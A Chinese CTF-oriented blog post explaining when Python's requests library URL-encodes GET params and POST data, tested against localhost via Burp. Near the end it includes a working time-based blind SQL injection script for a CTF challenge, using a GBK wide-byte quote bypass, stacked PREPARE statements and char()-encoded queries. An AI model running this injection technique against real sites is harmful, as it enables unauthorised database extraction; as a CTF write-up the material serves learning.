requets中urlencode的问题
前言
今天团队群里有师傅问requests怎么设置不解码,这里是语误,其实师傅想说的是,如果设置不编码。

一开始我没懂,然后师傅们解答了这个问题后,我想了会儿懂了。
在一些CTF题目中,可能会碰到这样的问题,于是记录下(已经碰到了,自己当时还没发现)
如下有几篇相关的文章
https://www.jianshu.com/p/54e8f0c5955b
https://blog.csdn.net/u012973744/article/details/27187253?utm_source=blogxgwz4
GET
urlencode方式
requests中传递参数的方式是通过params字典的方式。
自动urlencode的=>看下面的例子
test.py
import requests
url='http://127.0.0.1/tssss.php'
data={"b":"ccc%27"}
proxies={"http":"192.168.0.113:8080"}
request=requests.get(url,params=data,proxies=proxies)
print(request.text)
tssss.php
<?php
var_dump($_POST);
var_dump($_GET);
这里我通过burp作为代理,拦截http包,查看完整的headers分析(Tips:php中的$_GET['x']获取参数的形式会自动urldecode一次)
burp:

response:

这里我们是用dict的格式发送params关键词参数的
结论:requests.get会对params参数的值进行urlencode
No urlencode方式
上述文章链接中也说了,在直接构造拼接url的时候,是不会自动urlencode的。
test.py
import requests
url='http://127.0.0.1/tssss.php'
data="?a=cc%27a"
proxies={"http":"192.168.0.113:8080"}
request=requests.get(url+data,proxies=proxies)
print(request.text)
brup:

response:

requests.get方式的总结:
- 使用params关键字参数时会自动对参数进行urlencode,然后服务器端解码一次。就不需要自发的进行多余的一层urlencode嵌套
- 使用url拼接时,注意&符号,如果需要传递&字符的话,需要进行url编码,否则会被看作是参数之前的分隔符。
post
post跟get同理,稍有区别
urlencode方式
这里是跟get一样的,以dict形式使用data关键词参数的话,同样会urlencode一次。
import requests
url='http://127.0.0.1/tssss.php'
data={"b":"ccc%27@"}
proxies={"http":"192.168.0.113:8080"}
request=requests.post(url,data=data,proxies=proxies)
print(request.text)
burp:

response:

结论:requests.post会对data参数内的值进行urlencode,类似表单的提交方式,以application/x-www-form-urlencoded的MIME方式。
这里顺带提一句

No urlencode
查看文档可以发现
There are many times that you want to send data that is not form-encoded. If you pass in a string instead of a dict, that data will be posted directly.
可以用直接以字符串的形式发送
data='xxxxx'
import requests
url='http://127.0.0.1/tssss.php'
data="b=ccc%27%0a@"
proxies={"http":"192.168.0.113:8080"}
request=requests.post(url,data=data,proxies=proxies)
print(request.text)
burp:

response:

可以看到无法识别data中的参数,这里可以 通过增加一个header头
headers = {"Content-Type": "application/x-www-form-urlencoded"}
使服务端识别是post参数
import requests
url='http://127.0.0.1/tssss.php'
data="b=ccc%27%0a@"
proxies={"http":"192.168.0.113:8080"}
headers = {"Content-Type": "application/x-www-form-urlencoded"}
request=requests.post(url,data=data,headers=headers,proxies=proxies)
print(request.text)
burp:

response:

可以看到没有自发的urlencode,服务端解码一次后,%0a换行命令也可以正确的执行。
requests.post方式的总结:
- 以dict形式使用data关键词参数会使其自动urlencode,输入没有urlencode的字符即可
- 如果不需要自发的urlencode,增加header头,并且data用字符串的形式,,注意分隔符&,如果作为输入的字符,需要手动编码一遍。
踩过的坑
在i春秋新春战役中的easysqli_copy中吃过亏
https://www.cnblogs.com/BOHB-yunying/p/12342370.html#fJS7ZKWT
正确的脚本:
import requests
import time
url="http://3397d51f00654a40a6c453953b906199865ba551262f4f0b.changame.ichunqiu.com/index.php?id=1%df%27;"
flag=''
exp0="select fllllll4g from table1"
payload = "set @s=concat({});PREPARE a FROM @s;EXECUTE a;"
for i in range(1,20):
print("前{0}位".format(i))
for j in 'abcdefghijklmnopqrstuvwxyz0123456789{}-':
res=''
exp = "select if(ascii(substr(({}),{},1))={},sleep(3),1)".format(exp0, i, ord(j))
for z in exp:
res += "char(%s),"%(ord(z))
my_payload = payload.format(res[:-1])
print('i:'+str(i),'j:'+str(j))
urll=url+my_payload
startTime=time.time()
response=requests.get(url=urll)
if time.time() - startTime >=2.5:
flag+=j
print('flag_name:%s'%(flag))
break
print(flag)
正确的脚本使用了url拼接的get请求方式,这样不通过params的方式,不会自动urlencode,因为可以看到我这里的id=1%df%27 这里我经过了urlencode,因为是浏览器直接复制过来的。
第一次我错误的地方就在id=1%df%27这里,我将其拼接格式化字符串到params中,这样会自动urlencode一次,后端收到的初始形态是这样的
1%25df%2527
呢么在经过GET中的自动urldecode后,获得的还是1%df%27,并没有完成解码。所以才会出错
requets中urlencode的问题的更多相关文章
- 阿里签名中URLEncode于C#URLEncod不同之处
问题 如上图所示,阿里云的PercentEncode 转换! 为 %21 PercentEncode 源码为: package com.aliyuncs.auth; import java.io.Un ...
- php中urlencode与rawurlencode的区别有那些呢
urlencode 函数: 返回字符串,此字符串中除了 -_. 之外的所有非字母数字字符都将被替换成百分号(%)后跟两位十六进制数,空格则编码为加号(+).此编码与 WWW 表单 POST 数据的编码 ...
- php中urlencode使用
URLEncode的方式一般有两种,一种是传统的基于GB2312的Encode(Baidu.Yisou等使用),另一种是基于UTF-8的Encode(Google.Yahoo等使用). 本工具分别实现 ...
- Python2和Python3中urllib库中urlencode的使用注意事项
前言 在Python中,我们通常使用urllib中的urlencode方法将字典编码,用于提交数据给url等操作,但是在Python2和Python3中urllib模块中所提供的urlencode的包 ...
- php中urlencode与rawurlencode的区别
前段时间说自己遇到了个<URL加号引发错误>的BUG,引起这个bug的原因就是自己在URL中使用了 urlencode 函数,该函数会把空格转换成加号,这样就导致URL解析出错,而空格只有 ...
- php中urlencode和urldecode的用法
URLEncode:是指针对网页url中的中文字符的一种编码转化方式,最常见的就是Baidu.Google等搜索引擎中输入中文查询时候,生成经过Encode过的网页URL.URLEncode的方式一般 ...
- php中urlencode()和urldecode()URL编码函数浅析[转]
URLEncode:是指针对网页url中的中文字符的一种编码转化方式,最常见的就是Baidu.Google等搜索引擎中输入中文查询时候,生成经过Encode过的网页URL.URLEncode的方式一般 ...
- ASP.NET中UrlEncode应该用Uri.EscapeDataString()(转)
今天,茄子_2008反馈他博客中的“C++”标签失效.检查了一下代码,生成链接时用的是HttpUtility.UrlEncode(url),从链接地址获取标签时用的是HttpUtility.UrlDe ...
- ASP.NET中UrlEncode应该用Uri.EscapeDataString()
今天,茄子_2008反馈他博客中的“C++”标签失效.检查了一下代码,生成链接时用的是HttpUtility.UrlEncode(url),从链接地址获取标签时用的是HttpUtility.UrlDe ...
随机推荐
- 爬虫&Selenium&ChromeDriver
一.Selenium selenium是什么 Selenium [1] 是一个用于Web应用程序测试的工具.Selenium测试直接运行在浏览器中,就像真正的用户在操作一样.支持的浏览器包括IE(7, ...
- python分布式接口,参数化实战二
1,先看一下接口测试用例 2,文件1:写get和post模板 import requestsclass PostGetModels: def isMethod(self,url,data,method ...
- SublimeのJedi (自动补全)
关于 Sublime 3 - Jedi Package 的设置和使用方法 我是一枚小白,安装后 Sublime 后,想在码字时,达到如下效果: 打字时,自动提示相关内容 按Tab键,相关内容自动填充 ...
- Spring Boot熟稔于心的20个常识
1.什么是 Spring Boot? Spring Boot 是 Spring 开源组织下的子项目,是 Spring 组件一站式解决方案,主要是简化了使用 Spring 的难度,简省了繁重的配置,提供 ...
- Mac LaTex中文环境搭建
为了在博客上写公式,折腾了一晚上Mac上的LaTex的环境搭建,本文对步骤进行记录. 系统:Mac OSX 10.10.5 软件准备 1) MacTex 2015 Distribution (Tex的 ...
- cento升级openssl依旧显示老版本
不久前拿到了一季度的服务器漏洞扫描报告,还是一些老生常谈的软件.按照报告上的漏洞一个个处理,开始升级openssl的时候一切都很顺利,上传源码包,解压,编译,安装,全部都没有报错.opessl --v ...
- ES6 class 类的理解(一)
优点 ES6 的类提供了几点明显的好处: 兼容当前大量的代码. 相对于构造器和构造器继承,类使初学者更容易入门. 子类化在语言层面支持. 可以子类化内置的构造器. 不再需要继承库:框架之间的代码变得更 ...
- Educational Codeforces Round 84 (Rated for Div. 2)
A. Sum of Odd Integers(思维) 思路 这一题看完ans之后觉得是真简单,不过有一些地方还是要理解的. 这一题输出YES,有两个条件 kk%2 == n%2k,这个条件的意思是 k ...
- scarpy爬虫框架
目录 架构介绍 安装创建和启动 配置文件目录介绍 爬取数据,并解析 数据持久化 保存到文件 保存到redis 动作链,控制滑动的验证码 架构介绍 Scrapy一个开源和协作的框架,其最初是为了页面抓取 ...
- 1005 Spell It Right (20 分)
Given a non-negative integer N, your task is to compute the sum of all the digits of N, and output e ...